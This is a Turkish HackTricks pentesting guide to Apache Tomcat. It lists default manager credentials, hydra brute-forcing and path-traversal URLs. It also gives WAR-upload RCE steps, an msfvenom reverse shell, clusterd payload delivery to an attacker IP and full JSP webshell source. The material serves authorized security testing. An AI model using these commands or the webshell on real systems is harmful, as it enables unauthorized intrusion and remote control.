# Tomcat
AWS hacklemeyi sıfırdan kahramana öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **[PEASS Ailesi](https://opensea.io/collection/the-peass-family)**'ni keşfedin, özel **NFT** koleksiyonumuzu keşfedin.
* **Resmi PEASS & HackTricks ürünlerini alın** [buradan](https://peass.creator-spring.com).
* **[💬 Discord grubuna](https://discord.gg/hRep4RUj7f)** veya [telegram grubuna](https://t.me/peass) **katılın** veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
**Try Hard Güvenlik Grubu**
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Keşif
* Genellikle **8080 numaralı port** üzerinde çalışır
* **Yaygın Tomcat hatası:**
## Numaralandırma
### **Sürüm Tanımlama**
Apache Tomcat sürümünü bulmak için basit bir komut çalıştırılabilir:
```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```
### **Yönetici Dosyaları Konumu**
**`/manager`** ve **`/host-manager`** dizinlerinin tam konumlarını belirlemek önemlidir çünkü isimleri değiştirilmiş olabilir. Bu sayfaları bulmak için kaba kuvvet araması önerilir.
### **Kullanıcı Adı Numaralandırma**
Tomcat sürümü 6'dan eski olanlar için kullanıcı adları numaralandırılabilir:
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
### **Varsayılan Kimlik Bilgileri**
**`/manager/html`** dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenip dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin, genellikle aşağıdaki gibi temel HTTP kimlik doğrulaması ile korunmaktadır:
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
Bu kimlik bilgileri aşağıdaki komut kullanılarak test edilebilir:
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
Başka dikkate değer bir dizin **`/manager/status`** 'dir, bu Tomcat ve işletim sistemi sürümünü gösterir ve zafiyet tespitine yardımcı olur.
### **Kaba Kuvvet Saldırısı**
Yönetici dizinine kaba kuvvet saldırısı yapmak için şunu kullanabilirsiniz:
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
## Ortak Zayıflıklar
### **Şifre Geri İzleme Açığı**
`/auth.jsp`'ye erişmek şanslı durumlarda şifreyi geri izleme altında ortaya çıkarabilir.
### **Çift URL Kodlama**
`mod_jk` içindeki CVE-2007-1860 zayıflığı, çift URL kodlama yol geçişi sağlar ve özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır.
Tomcat yönetim webine erişmek için: `pathTomcat/%252E%252E/manager/html`
### /örnekler
Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırma ve cross-site scripting (XSS) saldırılarına duyarlı örnek betikler içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. [Daha fazla bilgi için buraya bakın](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp
### **Yol Geçişi Sömürüsü**
Bazı [**Tomcat'ın zayıf yapılandırmalarında**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) `/..;/` yolunu kullanarak Tomcat'taki korunan dizinlere erişebilirsiniz.
Örneğin, **Tomcat yöneticisine erişebilirsiniz** `www.vulnerable.com/lalala/..;/manager/html` adresine erişerek.
Bu hileyi kullanarak korunan yolları atlamak için **başka bir yol** `http://www.vulnerable.com/;param=value/manager/html` adresine erişmektir.
## Uzaktan Kod Çalıştırma (RCE)
Son olarak, Tomcat Web Uygulama Yöneticisine erişiminiz varsa, bir .war dosyası yükleyip dağıtabilirsiniz (kod çalıştırma).
### Sınırlamalar
Yeterli ayrıcalıklarınız varsa (roller: **admin**, **manager** ve **manager-script**), yalnızca bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle `/usr/share/tomcat9/etc/tomcat-users.xml` içinde tanımlanır (sürümler arasında değişebilir) (bkz. [POST ](tomcat.md#post) bölümü).
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit
Metasploit, açık kaynaklı bir sızma testi çerçevesidir. Hedef sistemlere sızma testleri yapmak için kullanılır. Metasploit, saldırı vektörlerini otomatikleştirmek için bir dizi araç ve yardımcı program içerir.
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost
msf exploit(multi/http/tomcat_mgr_upload) > set rport
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
### MSFVenom Ters Kabuk
1. Dağıtmak için war dosyası oluşturun:
```bash
msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war
```
### `revshell.war` dosyasını yükleyin ve erişim sağlayın (`/revshell/`):
### [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ile bağlantı ve ters kabuk oluşturun
Bazı senaryolarda bu çalışmaz (örneğin eski sürümlerinde sun)
#### İndir
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
#### Ters kabuk
```bash
./tomcatWarDeployer.py -U -P -H -p :/manager/html/
```
#### Bağlama kabuğu
```bash
./tomcatWarDeployer.py -U -P -p :/manager/html/
```
### [Culsterd](https://github.com/hatRiot/clusterd) Kullanımı
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
### Manuel yöntem - Web kabuğu
Aşağıdaki [içerik](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ile **index.jsp** oluşturun:
```java
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+""; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
```
```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```
### El ile Yöntem 2
Bir JSP web kabuğu edinin, örneğin [bu](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) ve bir WAR dosyası oluşturun:
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
## POST
Tomcat kimlik bilgileri dosyasının adı _tomcat-users.xml_ dir.
```bash
find / -name tomcat-users.xml 2>/dev/null
```
Diğer Tomcat kimlik bilgilerini toplama yöntemleri:
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
## Diğer tomcat tarama araçları
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
## Referanslar
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Try Hard Security Group**
{% embed url="https://discord.gg/tryhardsecurity" %}
AWS hacklemeyi sıfırdan kahraman seviyesine öğreninhtARTE (HackTricks AWS Red Team Expert)!
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi**](https://opensea.io/collection/the-peass-family)ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun.**